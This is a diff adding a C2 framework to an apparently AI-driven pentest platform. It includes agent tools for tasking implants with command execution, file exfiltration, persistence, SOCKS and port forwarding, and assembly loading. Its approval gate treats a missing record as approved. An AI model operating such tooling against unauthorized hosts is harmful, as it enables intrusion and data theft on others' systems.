Compare commits

...

19 Commits

Author SHA1 Message Date
公明 ad86623dc1 Update config.yaml 2026-05-04 03:46:24 +08:00
公明 8185539f33 Add files via upload 2026-05-04 03:45:24 +08:00
公明 8158b38f48 Add files via upload 2026-05-04 03:44:08 +08:00
公明 4fca4a85c2 Add files via upload 2026-05-04 03:42:24 +08:00
公明 62c6f3f191 Add files via upload 2026-05-02 19:58:36 +08:00
公明 dec69a1993 Update config.yaml 2026-05-01 01:33:17 +08:00
公明 15aab2584a Add files via upload 2026-05-01 01:32:54 +08:00
公明 399b697d75 Add files via upload 2026-05-01 01:31:19 +08:00
公明 e0753fd03e Add files via upload 2026-05-01 01:28:19 +08:00
公明 9b1e493023 Add files via upload 2026-05-01 01:05:48 +08:00
公明 77d212098d Add files via upload 2026-05-01 01:03:28 +08:00
公明 39926007fe Add files via upload 2026-05-01 01:01:30 +08:00
公明 0e35506ae1 Add files via upload 2026-05-01 01:00:23 +08:00
公明 9ff8bfa44b Add files via upload 2026-04-30 20:31:17 +08:00
公明 1d9fcfd87e Update version number to v1.5.16 2026-04-30 20:28:21 +08:00
公明 91cb650234 Add files via upload 2026-04-30 15:20:13 +08:00
公明 44e7d3b340 Add files via upload 2026-04-30 15:01:35 +08:00
公明 531b05299a Add files via upload 2026-04-30 10:49:19 +08:00
公明 0de69a6345 Add files via upload 2026-04-30 10:43:23 +08:00
63 changed files with 17244 additions and 1146 deletions
+1 -1
View File
@@ -10,7 +10,7 @@
# ============================================
# 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.5.15"
version: "v1.6.0"
# 服务器配置
server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
+8
View File
@@ -13,6 +13,7 @@ import (
"sync"
"time"
"cyberstrike-ai/internal/c2"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
@@ -74,6 +75,11 @@ func agentConversationIDFromContext(ctx context.Context) string {
return v
}
// ConversationIDFromContext 返回当前 Agent 请求上下文中注入的对话 ID(如 C2 MCP 入队与人机协同门控使用)。
func ConversationIDFromContext(ctx context.Context) string {
return agentConversationIDFromContext(ctx)
}
// ToolCallInterceptor allows caller to gate or rewrite tool arguments just before execution.
// Returning a non-nil error means the tool call is rejected and execution is skipped.
type ToolCallInterceptor func(ctx context.Context, toolName string, args map[string]interface{}, toolCallID string) (map[string]interface{}, error)
@@ -1485,6 +1491,8 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
}
}()
}
// C2 危险任务 HITL 异步等待:须绑定整条 Agent 运行期 ctx,而非单次工具子 ctxreturn 时会被 cancel
toolCtx = c2.WithHITLRunContext(toolCtx, ctx)
// 检查是否是外部MCP工具(通过工具名称映射)
a.mu.RLock()
+108
View File
@@ -13,6 +13,7 @@ import (
"time"
"cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/c2"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/handler"
@@ -51,6 +52,9 @@ type App struct {
robotMu sync.Mutex // 保护钉钉/飞书长连接的 cancel
dingCancel context.CancelFunc // 钉钉 Stream 取消函数,用于配置变更时重启
larkCancel context.CancelFunc // 飞书长连接取消函数,用于配置变更时重启
c2Manager *c2.Manager // C2 管理器
c2Watchdog *c2.SessionWatchdog // C2 会话看门狗
c2WatchdogCancel context.CancelFunc // 看门狗取消函数
}
// New 创建新应用
@@ -338,6 +342,52 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
skillsHandler.SetDB(db) // 设置数据库连接以便获取调用统计
}
// ============================================================================
// 初始化 C2 模块
// ============================================================================
c2Manager := c2.NewManager(db, log.Logger, "tmp/c2")
// 注册 Listener 工厂
c2Manager.Registry().Register(string(c2.ListenerTypeTCPReverse), c2.NewTCPReverseListener)
c2Manager.Registry().Register(string(c2.ListenerTypeHTTPBeacon), c2.NewHTTPBeaconListener)
c2Manager.Registry().Register(string(c2.ListenerTypeHTTPSBeacon), c2.NewHTTPSBeaconListener)
c2Manager.Registry().Register(string(c2.ListenerTypeWebSocket), c2.NewWebSocketListener)
// 设置 HITL 桥(仅当会话开启人机协同且 c2_task 不在免审批白名单时,危险任务才走桥)
c2HITLBridge := NewC2HITLBridge(db, log.Logger)
c2Manager.SetHITLBridge(c2HITLBridge)
c2Manager.SetHITLDangerousGate(func(conversationID, toolName string) bool {
return agentHandler.HITLNeedsToolApproval(conversationID, toolName)
})
// 设置业务钩子
c2Hooks := SetupC2Hooks(&C2HooksConfig{
DB: db,
Logger: log.Logger,
AttackChainRecord: func(session *database.C2Session, phase string, description string) {
// 通过攻击链处理器记录(简化版,实际需要完整实现)
log.Logger.Info("C2 Attack Chain",
zap.String("session_id", session.ID),
zap.String("phase", phase),
zap.String("desc", description),
)
},
VulnRecord: func(session *database.C2Session, title string, severity string) {
// 记录漏洞(简化版)
log.Logger.Info("C2 Vulnerability",
zap.String("session_id", session.ID),
zap.String("title", title),
zap.String("severity", severity),
)
},
})
c2Manager.SetHooks(c2Hooks)
// 恢复运行中的监听器
c2Manager.RestoreRunningListeners()
// 启动会话看门狗
c2Watchdog := c2.NewSessionWatchdog(c2Manager)
watchdogCtx, watchdogCancel := context.WithCancel(context.Background())
go c2Watchdog.Run(watchdogCtx)
// 注册 C2 MCP 工具
registerC2Tools(mcpServer, c2Manager, log.Logger, cfg.Server.Port)
// 创建OpenAPI处理器
conversationHandler := handler.NewConversationHandler(db, log.Logger)
robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
@@ -361,6 +411,9 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
knowledgeHandler: knowledgeHandler,
agentHandler: agentHandler,
robotHandler: robotHandler,
c2Manager: c2Manager,
c2Watchdog: c2Watchdog,
c2WatchdogCancel: watchdogCancel,
}
// 飞书/钉钉长连接(无需公网),启用时在后台启动;后续前端应用配置时会通过 RestartRobotConnections 重启
app.startRobotConnections()
@@ -429,6 +482,9 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
// 设置机器人连接重启器,前端应用配置后无需重启服务即可使钉钉/飞书新配置生效
configHandler.SetRobotRestarter(app)
// 创建 C2 Handler
c2Handler := handler.NewC2Handler(c2Manager, log.Logger)
// 设置路由(使用 App 实例以便动态获取 handler
setupRoutes(
router,
@@ -451,6 +507,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
markdownAgentsHandler,
fofaHandler,
terminalHandler,
c2Handler,
mcpServer,
authManager,
openAPIHandler,
@@ -542,6 +599,15 @@ func (a *App) Shutdown() {
}
a.robotMu.Unlock()
// 停止 C2 看门狗
if a.c2WatchdogCancel != nil {
a.c2WatchdogCancel()
}
// 关闭 C2 Manager(停止所有监听器)
if a.c2Manager != nil {
a.c2Manager.Close()
}
// 停止所有外部MCP客户端
if a.externalMCPMgr != nil {
a.externalMCPMgr.StopAll()
@@ -618,6 +684,7 @@ func setupRoutes(
markdownAgentsHandler *handler.MarkdownAgentsHandler,
fofaHandler *handler.FofaHandler,
terminalHandler *handler.TerminalHandler,
c2Handler *handler.C2Handler,
mcpServer *mcp.Server,
authManager *security.AuthManager,
openAPIHandler *handler.OpenAPIHandler,
@@ -927,6 +994,47 @@ func setupRoutes(
protected.POST("/webshell/exec", webshellHandler.Exec)
protected.POST("/webshell/file", webshellHandler.FileOp)
// C2 管理(AI-Native 轻量级 C2 框架)
// 监听器
protected.GET("/c2/listeners", c2Handler.ListListeners)
protected.POST("/c2/listeners", c2Handler.CreateListener)
protected.GET("/c2/listeners/:id", c2Handler.GetListener)
protected.PUT("/c2/listeners/:id", c2Handler.UpdateListener)
protected.DELETE("/c2/listeners/:id", c2Handler.DeleteListener)
protected.POST("/c2/listeners/:id/start", c2Handler.StartListener)
protected.POST("/c2/listeners/:id/stop", c2Handler.StopListener)
// 会话
protected.GET("/c2/sessions", c2Handler.ListSessions)
protected.GET("/c2/sessions/:id", c2Handler.GetSession)
protected.DELETE("/c2/sessions/:id", c2Handler.DeleteSession)
protected.PUT("/c2/sessions/:id/sleep", c2Handler.SetSessionSleep)
// 任务
protected.GET("/c2/tasks", c2Handler.ListTasks)
protected.DELETE("/c2/tasks", c2Handler.DeleteTasks)
protected.GET("/c2/tasks/:id", c2Handler.GetTask)
protected.POST("/c2/tasks", c2Handler.CreateTask)
protected.POST("/c2/tasks/:id/cancel", c2Handler.CancelTask)
protected.GET("/c2/tasks/:id/wait", c2Handler.WaitTask)
protected.POST("/c2/sessions/:id/tasks", c2Handler.CreateTask) // 快捷方式:直接对会话下发任务
// Payload
protected.POST("/c2/payloads/oneliner", c2Handler.PayloadOneliner)
protected.POST("/c2/payloads/build", c2Handler.PayloadBuild)
protected.GET("/c2/payloads/:id/download", c2Handler.PayloadDownload)
// 事件 & SSE
protected.GET("/c2/events", c2Handler.ListEvents)
protected.DELETE("/c2/events", c2Handler.DeleteEvents)
protected.GET("/c2/events/stream", c2Handler.EventStream)
// 文件管理
protected.POST("/c2/files/upload", c2Handler.UploadFileForImplant)
protected.GET("/c2/files", c2Handler.ListFiles)
protected.GET("/c2/tasks/:id/result-file", c2Handler.DownloadResultFile)
// Malleable Profile
protected.GET("/c2/profiles", c2Handler.ListProfiles)
protected.GET("/c2/profiles/:id", c2Handler.GetProfile)
protected.POST("/c2/profiles", c2Handler.CreateProfile)
protected.PUT("/c2/profiles/:id", c2Handler.UpdateProfile)
protected.DELETE("/c2/profiles/:id", c2Handler.DeleteProfile)
// 对话附件(chat_uploads)管理
protected.GET("/chat-uploads", chatUploadsHandler.List)
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
+228
View File
@@ -0,0 +1,228 @@
package app
import (
"context"
"database/sql"
"encoding/json"
"fmt"
"strings"
"time"
"cyberstrike-ai/internal/c2"
"cyberstrike-ai/internal/database"
"github.com/google/uuid"
"go.uber.org/zap"
)
// C2HITLBridge 实现 C2 Manager 的 HITLBridge 接口,将危险任务桥接到现有 HITL 审批流。
// 审批记录写入 hitl_interrupts 表,与现有 HITL 系统共享前端审批 UI。
type C2HITLBridge struct {
db *database.DB
logger *zap.Logger
timeout time.Duration
getConvID func() string
}
// NewC2HITLBridge 创建 C2 HITL 桥
func NewC2HITLBridge(db *database.DB, logger *zap.Logger) *C2HITLBridge {
return &C2HITLBridge{
db: db,
logger: logger,
timeout: 5 * time.Minute,
getConvID: func() string { return "" },
}
}
// SetConversationIDGetter 设置获取当前对话 ID 的函数
func (b *C2HITLBridge) SetConversationIDGetter(fn func() string) {
b.getConvID = fn
}
// SetTimeout 设置审批超时(0 表示不超时)
func (b *C2HITLBridge) SetTimeout(d time.Duration) {
b.timeout = d
}
// RequestApproval 实现 HITLBridge 接口:写入 hitl_interrupts 表并轮询等待审批结果
func (b *C2HITLBridge) RequestApproval(ctx context.Context, req c2.HITLApprovalRequest) error {
interruptID := "hitl_c2_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
now := time.Now()
convID := req.ConversationID
if convID == "" {
convID = b.getConvID()
}
if convID == "" {
convID = "c2_system"
}
payload, _ := json.Marshal(map[string]interface{}{
"task_id": req.TaskID,
"session_id": req.SessionID,
"task_type": req.TaskType,
"payload": req.PayloadJSON,
"source": req.Source,
"reason": req.Reason,
"c2_operation": true,
})
_, err := b.db.Exec(`INSERT INTO hitl_interrupts
(id, conversation_id, message_id, mode, tool_name, tool_call_id, payload, status, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, 'pending', ?)`,
interruptID, convID, "", "approval",
c2.MCPToolC2Task, req.TaskID,
string(payload), now,
)
if err != nil {
b.logger.Error("C2 HITL: 创建审批记录失败,拒绝执行", zap.Error(err))
return fmt.Errorf("C2 HITL 审批记录创建失败,安全起见拒绝执行: %w", err)
}
b.logger.Info("C2 HITL: 等待人工审批",
zap.String("interrupt_id", interruptID),
zap.String("task_id", req.TaskID),
zap.String("task_type", req.TaskType),
)
// Poll DB waiting for decision
ticker := time.NewTicker(500 * time.Millisecond)
defer ticker.Stop()
var deadline <-chan time.Time
if b.timeout > 0 {
timer := time.NewTimer(b.timeout)
defer timer.Stop()
deadline = timer.C
}
for {
select {
case <-ctx.Done():
_, _ = b.db.Exec(`UPDATE hitl_interrupts SET status='cancelled', decision='reject',
decision_comment='context cancelled', decided_at=? WHERE id=? AND status='pending'`,
time.Now(), interruptID)
return ctx.Err()
case <-deadline:
_, _ = b.db.Exec(`UPDATE hitl_interrupts SET status='timeout', decision='reject',
decision_comment='C2 HITL timeout auto-reject for safety', decided_at=? WHERE id=? AND status='pending'`,
time.Now(), interruptID)
b.logger.Warn("C2 HITL: 审批超时,安全起见拒绝执行", zap.String("interrupt_id", interruptID))
return fmt.Errorf("C2 HITL 审批超时,危险任务已被自动拒绝")
case <-ticker.C:
var status, decision string
err := b.db.QueryRow(`SELECT status, COALESCE(decision, '') FROM hitl_interrupts WHERE id = ?`,
interruptID).Scan(&status, &decision)
if err != nil {
if err == sql.ErrNoRows {
return nil
}
continue
}
switch status {
case "decided", "timeout":
if decision == "reject" {
return fmt.Errorf("C2 危险任务被人工拒绝")
}
return nil
case "cancelled":
return fmt.Errorf("C2 审批已取消")
case "pending":
continue
default:
continue
}
}
}
}
// C2HooksConfig 配置 C2 Manager 的 Hooks
type C2HooksConfig struct {
DB *database.DB
Logger *zap.Logger
AttackChainRecord func(session *database.C2Session, phase string, description string)
VulnRecord func(session *database.C2Session, title string, severity string)
}
// SetupC2Hooks 设置 C2 Manager 的业务钩子
func SetupC2Hooks(cfg *C2HooksConfig) c2.Hooks {
return c2.Hooks{
OnSessionFirstSeen: func(session *database.C2Session) {
// 新会话上线
cfg.Logger.Info("C2 Session first seen",
zap.String("session_id", session.ID),
zap.String("hostname", session.Hostname),
zap.String("os", session.OS),
zap.String("arch", session.Arch),
)
// 记录漏洞(初始访问点)
if cfg.VulnRecord != nil {
cfg.VulnRecord(session, fmt.Sprintf("C2 Session Established: %s@%s", session.Username, session.Hostname), "high")
}
// 记录攻击链(Initial Access
if cfg.AttackChainRecord != nil {
cfg.AttackChainRecord(session, "initial-access", fmt.Sprintf("Implant beacon from %s/%s", session.Hostname, session.InternalIP))
}
},
OnTaskCompleted: func(task *database.C2Task, sessionID string) {
// 任务完成
cfg.Logger.Debug("C2 Task completed",
zap.String("task_id", task.ID),
zap.String("task_type", task.TaskType),
zap.String("status", task.Status),
)
// 根据任务类型记录攻击链
if cfg.AttackChainRecord != nil {
session, _ := cfg.DB.GetC2Session(sessionID)
if session != nil {
phase := taskToAttackPhase(task.TaskType)
if phase != "" {
cfg.AttackChainRecord(session, phase, fmt.Sprintf("Task %s: %s", task.TaskType, task.Status))
}
}
}
},
}
}
// taskToAttackPhase 将任务类型映射到 ATT&CK 阶段
func taskToAttackPhase(taskType string) string {
switch taskType {
case "exec", "shell":
return "execution"
case "upload":
return "persistence"
case "download":
return "exfiltration"
case "screenshot":
return "collection"
case "kill_proc":
return "impact"
case "port_fwd", "socks_start":
return "lateral-movement"
case "load_assembly":
return "defense-evasion"
case "persist":
return "persistence"
case "self_delete":
return "defense-evasion"
default:
return "execution"
}
}
// SetupC2HITLBridgeWithAgent 设置 HITL 桥接器
// 这个函数将由 App 调用,注入必要的依赖
func SetupC2HITLBridgeWithAgent(db *database.DB, logger *zap.Logger) c2.HITLBridge {
return &C2HITLBridge{
db: db,
logger: logger,
timeout: 5 * time.Minute,
getConvID: func() string { return "" },
}
}
+861
View File
@@ -0,0 +1,861 @@
package app
import (
"context"
"encoding/json"
"fmt"
"strconv"
"strings"
"time"
"cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/c2"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
"github.com/google/uuid"
"go.uber.org/zap"
)
// registerC2Tools 注册所有 C2 MCP 工具(合并同类项,减少工具数量以节省上下文 token)。
// webListenPort 为本进程 Web/API 监听端口(配置 server.port,启动时已加载),用于 MCP 描述中提示勿与 C2 bind_port 冲突。
func registerC2Tools(mcpServer *mcp.Server, c2Manager *c2.Manager, logger *zap.Logger, webListenPort int) {
registerC2ListenerTool(mcpServer, c2Manager, logger, webListenPort)
registerC2SessionTool(mcpServer, c2Manager, logger)
registerC2TaskTool(mcpServer, c2Manager, logger)
registerC2TaskManageTool(mcpServer, c2Manager, logger)
registerC2PayloadTool(mcpServer, c2Manager, logger, webListenPort)
registerC2EventTool(mcpServer, c2Manager, logger)
registerC2ProfileTool(mcpServer, c2Manager, logger)
registerC2FileTool(mcpServer, c2Manager, logger)
logger.Info("C2 MCP tools registered (8 unified tools)")
}
func makeC2Result(data interface{}, err error) (*mcp.ToolResult, error) {
if err != nil {
return &mcp.ToolResult{
Content: []mcp.Content{{Type: "text", Text: err.Error()}},
IsError: true,
}, nil
}
text, _ := json.Marshal(data)
return &mcp.ToolResult{
Content: []mcp.Content{{Type: "text", Text: string(text)}},
}, nil
}
// ============================================================================
// c2_listener — 监听器统一工具
// ============================================================================
func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListenPort int) {
s.RegisterTool(mcp.Tool{
Name: builtin.ToolC2Listener,
Description: fmt.Sprintf(`C2 监听器管理。通过 action 参数选择操作:
- list: 列出所有监听器
- get: 获取监听器详情(需 listener_id
- create: 创建监听器(需 name, type, bind_port)。成功时除 listener 外会返回 implant_token(仅此一次,用于 X-Implant-Token / onelinerlist/get/start 不再返回)
- update: 更新监听器配置(需 listener_id,可改 name/bind_host/bind_port/remark/config/callback_host
- start: 启动监听器(需 listener_id
- stop: 停止监听器(需 listener_id
- delete: 删除监听器(需 listener_id
监听器类型: tcp_reverse, http_beacon, https_beacon, websocket
端口约束:create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d(配置项 server.port,随进程启动从配置文件加载)。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort),
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/create/update/start/stop/delete", "enum": []string{"list", "get", "create", "update", "start", "stop", "delete"}},
"listener_id": map[string]interface{}{"type": "string", "description": "监听器 IDget/update/start/stop/delete 需要)"},
"name": map[string]interface{}{"type": "string", "description": "监听器名称(create/update"},
"type": map[string]interface{}{"type": "string", "description": "监听器类型(create", "enum": []string{"tcp_reverse", "http_beacon", "https_beacon", "websocket"}},
"bind_host": map[string]interface{}{"type": "string", "description": "绑定地址,默认 127.0.0.1;外网监听常用 0.0.0.0"},
"callback_host": map[string]interface{}{"type": "string", "description": "可选:植入端/Payload 回连主机名(公网 IP 或域名)。写入 config_json;生成 oneliner/beacon 时优先于 bind_host。update 时传入空字符串可清除"},
"bind_port": map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口(create 必填)。须 ≠ %d(当前本服务 Web/API 端口,配置 server.port", webListenPort), "minimum": 1, "maximum": 65535},
"profile_id": map[string]interface{}{"type": "string", "description": "Malleable Profile ID"},
"remark": map[string]interface{}{"type": "string", "description": "备注"},
"config": map[string]interface{}{"type": "object", "description": "高级配置(beacon 路径/TLS/OPSEC 等),create/update 可用"},
},
"required": []string{"action"},
},
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
action := getString(params, "action")
id := getString(params, "listener_id")
switch action {
case "list":
listeners, err := m.DB().ListC2Listeners()
if err != nil {
return makeC2Result(nil, err)
}
for _, li := range listeners {
li.EncryptionKey = ""
li.ImplantToken = ""
}
return makeC2Result(map[string]interface{}{"listeners": listeners, "count": len(listeners)}, nil)
case "get":
listener, err := m.DB().GetC2Listener(id)
if err != nil {
return makeC2Result(nil, err)
}
if listener == nil {
return makeC2Result(nil, fmt.Errorf("listener not found"))
}
listener.EncryptionKey = ""
listener.ImplantToken = ""
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
case "create":
var cfg *c2.ListenerConfig
if cfgRaw, ok := params["config"]; ok && cfgRaw != nil {
cfgBytes, _ := json.Marshal(cfgRaw)
cfg = &c2.ListenerConfig{}
_ = json.Unmarshal(cfgBytes, cfg)
}
input := c2.CreateListenerInput{
Name: getString(params, "name"),
Type: getString(params, "type"),
BindHost: getString(params, "bind_host"),
BindPort: int(getFloat64(params, "bind_port")),
ProfileID: getString(params, "profile_id"),
Remark: getString(params, "remark"),
Config: cfg,
CallbackHost: getString(params, "callback_host"),
}
listener, err := m.CreateListener(input)
if err != nil {
return makeC2Result(nil, err)
}
implantToken := listener.ImplantToken
listener.EncryptionKey = ""
listener.ImplantToken = ""
return makeC2Result(map[string]interface{}{
"listener": listener,
"implant_token": implantToken,
}, nil)
case "update":
listener, err := m.DB().GetC2Listener(id)
if err != nil {
return makeC2Result(nil, err)
}
if listener == nil {
return makeC2Result(nil, fmt.Errorf("listener not found"))
}
if m.IsListenerRunning(id) {
newHost := getString(params, "bind_host")
newPort := int(getFloat64(params, "bind_port"))
if (newHost != "" && newHost != listener.BindHost) || (newPort > 0 && newPort != listener.BindPort) {
return makeC2Result(nil, fmt.Errorf("cannot modify bind address while listener is running"))
}
}
if v := getString(params, "name"); v != "" {
listener.Name = v
}
if v := getString(params, "bind_host"); v != "" {
listener.BindHost = v
}
if v := int(getFloat64(params, "bind_port")); v > 0 {
listener.BindPort = v
}
if v := getString(params, "profile_id"); v != "" {
listener.ProfileID = v
}
if v, ok := params["remark"]; ok {
listener.Remark, _ = v.(string)
}
if cfgRaw, ok := params["config"]; ok && cfgRaw != nil {
cfgBytes, _ := json.Marshal(cfgRaw)
listener.ConfigJSON = string(cfgBytes)
}
if _, ok := params["callback_host"]; ok {
pcfg := &c2.ListenerConfig{}
raw := strings.TrimSpace(listener.ConfigJSON)
if raw == "" {
raw = "{}"
}
_ = json.Unmarshal([]byte(raw), pcfg)
pcfg.CallbackHost = strings.TrimSpace(getString(params, "callback_host"))
pcfg.ApplyDefaults()
cfgBytes, err := json.Marshal(pcfg)
if err != nil {
return makeC2Result(nil, err)
}
listener.ConfigJSON = string(cfgBytes)
}
if err := m.DB().UpdateC2Listener(listener); err != nil {
return makeC2Result(nil, err)
}
listener.EncryptionKey = ""
listener.ImplantToken = ""
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
case "start":
listener, err := m.StartListener(id)
if err != nil {
return makeC2Result(nil, err)
}
listener.EncryptionKey = ""
listener.ImplantToken = ""
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
case "stop":
err := m.StopListener(id)
return makeC2Result(map[string]interface{}{"stopped": err == nil}, err)
case "delete":
err := m.DeleteListener(id)
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
default:
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
}
})
}
// ============================================================================
// c2_session — 会话统一工具
// ============================================================================
func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
s.RegisterTool(mcp.Tool{
Name: builtin.ToolC2Session,
Description: `C2 会话管理。通过 action 参数选择操作:
- list: 列出会话(可按 listener_id/status/os/search 过滤)
- get: 获取会话详情及最近任务历史(需 session_id
- set_sleep: 设置心跳间隔(需 session_id
- kill: 下发 exit 任务让 implant 退出(需 session_id
- delete: 删除会话记录(需 session_id`,
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete", "enum": []string{"list", "get", "set_sleep", "kill", "delete"}},
"session_id": map[string]interface{}{"type": "string", "description": "会话 IDget/set_sleep/kill/delete 需要)"},
"listener_id": map[string]interface{}{"type": "string", "description": "按监听器过滤(list"},
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killedlist"},
"os": map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwinlist"},
"search": map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IPlist"},
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list"},
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "心跳间隔秒数(set_sleep"},
"jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100set_sleep"},
},
"required": []string{"action"},
},
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
action := getString(params, "action")
id := getString(params, "session_id")
switch action {
case "list":
filter := database.ListC2SessionsFilter{
ListenerID: getString(params, "listener_id"),
Status: getString(params, "status"),
OS: getString(params, "os"),
Search: getString(params, "search"),
}
if limit := int(getFloat64(params, "limit")); limit > 0 {
filter.Limit = limit
}
sessions, err := m.DB().ListC2Sessions(filter)
return makeC2Result(map[string]interface{}{"sessions": sessions, "count": len(sessions)}, err)
case "get":
session, err := m.DB().GetC2Session(id)
if err != nil {
return makeC2Result(nil, err)
}
if session == nil {
return makeC2Result(nil, fmt.Errorf("session not found"))
}
tasks, _ := m.DB().ListC2Tasks(database.ListC2TasksFilter{SessionID: id, Limit: 10})
return makeC2Result(map[string]interface{}{"session": session, "tasks": tasks}, nil)
case "set_sleep":
sleep := int(getFloat64(params, "sleep_seconds"))
jitter := int(getFloat64(params, "jitter_percent"))
err := m.DB().SetC2SessionSleep(id, sleep, jitter)
return makeC2Result(map[string]interface{}{"updated": err == nil, "sleep_seconds": sleep, "jitter_percent": jitter}, err)
case "kill":
task, err := m.EnqueueTask(c2.EnqueueTaskInput{
SessionID: id,
TaskType: c2.TaskTypeExit,
Payload: map[string]interface{}{},
Source: "ai",
ConversationID: agent.ConversationIDFromContext(ctx),
UserCtx: ctx,
})
return makeC2Result(map[string]interface{}{"task": task}, err)
case "delete":
err := m.DB().DeleteC2Session(id)
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
default:
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
}
})
}
// ============================================================================
// c2_task — 任务下发统一工具(合并所有 task 类型)
// ============================================================================
func registerC2TaskTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
s.RegisterTool(mcp.Tool{
Name: builtin.ToolC2Task,
Description: `在 C2 会话上下发任务。所有任务类型通过 task_type 参数指定:
- exec: 执行命令(需 command
- shell: 交互式命令,保持 cwd(需 command
- pwd/ps/screenshot/socks_stop: 无额外参数
- cd/ls: 需 path
- kill_proc: 需 pid
- upload: 需 remote_path + file_id
- download: 需 remote_path
- port_fwd: 需 action(start/stop) + local_port + remote_host + remote_port
- socks_start: 需 port(默认 1080
- load_assembly: 需 data(base64) 或 file_id,可选 args
- persist: 可选 method(auto/cron/bashrc/launchagent/registry/schtasks)
返回 task_id,用 c2_task_manage 的 wait/get_result 获取结果。`,
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"session_id": map[string]interface{}{"type": "string", "description": "C2 会话 IDs_xxx"},
"task_type": map[string]interface{}{"type": "string", "description": "任务类型", "enum": []string{"exec", "shell", "pwd", "cd", "ls", "ps", "kill_proc", "upload", "download", "screenshot", "port_fwd", "socks_start", "socks_stop", "load_assembly", "persist"}},
"command": map[string]interface{}{"type": "string", "description": "命令(exec/shell"},
"path": map[string]interface{}{"type": "string", "description": "路径(cd/ls"},
"pid": map[string]interface{}{"type": "integer", "description": "进程 IDkill_proc"},
"remote_path": map[string]interface{}{"type": "string", "description": "远程路径(upload/download"},
"file_id": map[string]interface{}{"type": "string", "description": "服务端文件 IDupload/load_assembly"},
"data": map[string]interface{}{"type": "string", "description": "base64 数据(load_assembly"},
"args": map[string]interface{}{"type": "string", "description": "命令行参数(load_assembly"},
"action": map[string]interface{}{"type": "string", "description": "start/stopport_fwd"},
"local_port": map[string]interface{}{"type": "integer", "description": "本地端口(port_fwd"},
"remote_host": map[string]interface{}{"type": "string", "description": "远程主机(port_fwd"},
"remote_port": map[string]interface{}{"type": "integer", "description": "远程端口(port_fwd"},
"port": map[string]interface{}{"type": "integer", "description": "SOCKS5 端口(socks_start),默认 1080"},
"method": map[string]interface{}{"type": "string", "description": "持久化方法(persist: auto/cron/bashrc/launchagent/registry/schtasks"},
"timeout_seconds": map[string]interface{}{"type": "integer", "description": "超时秒数,默认 60"},
},
"required": []string{"session_id", "task_type"},
},
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
sessionID := getString(params, "session_id")
taskTypeStr := getString(params, "task_type")
taskType := c2.TaskType(taskTypeStr)
timeout := getFloat64(params, "timeout_seconds")
payload := map[string]interface{}{"timeout_seconds": timeout}
switch taskType {
case c2.TaskTypeExec, c2.TaskTypeShell:
payload["command"] = getString(params, "command")
case c2.TaskTypeCd, c2.TaskTypeLs:
payload["path"] = getString(params, "path")
case c2.TaskTypeKillProc:
payload["pid"] = params["pid"]
case c2.TaskTypeUpload:
payload["remote_path"] = getString(params, "remote_path")
payload["file_id"] = getString(params, "file_id")
case c2.TaskTypeDownload:
payload["remote_path"] = getString(params, "remote_path")
case c2.TaskTypePortFwd:
payload["action"] = getString(params, "action")
payload["local_port"] = params["local_port"]
payload["remote_host"] = getString(params, "remote_host")
payload["remote_port"] = params["remote_port"]
case c2.TaskTypeSocksStart:
payload["port"] = params["port"]
case c2.TaskTypeLoadAssembly:
payload["data"] = getString(params, "data")
payload["file_id"] = getString(params, "file_id")
payload["args"] = getString(params, "args")
case c2.TaskTypePersist:
payload["method"] = getString(params, "method")
case c2.TaskTypePwd, c2.TaskTypePs, c2.TaskTypeScreenshot, c2.TaskTypeSocksStop:
// no extra params
default:
return makeC2Result(nil, fmt.Errorf("unsupported task_type: %s", taskTypeStr))
}
input := c2.EnqueueTaskInput{
SessionID: sessionID,
TaskType: taskType,
Payload: payload,
Source: "ai",
ConversationID: agent.ConversationIDFromContext(ctx),
UserCtx: ctx,
}
task, err := m.EnqueueTask(input)
if err != nil {
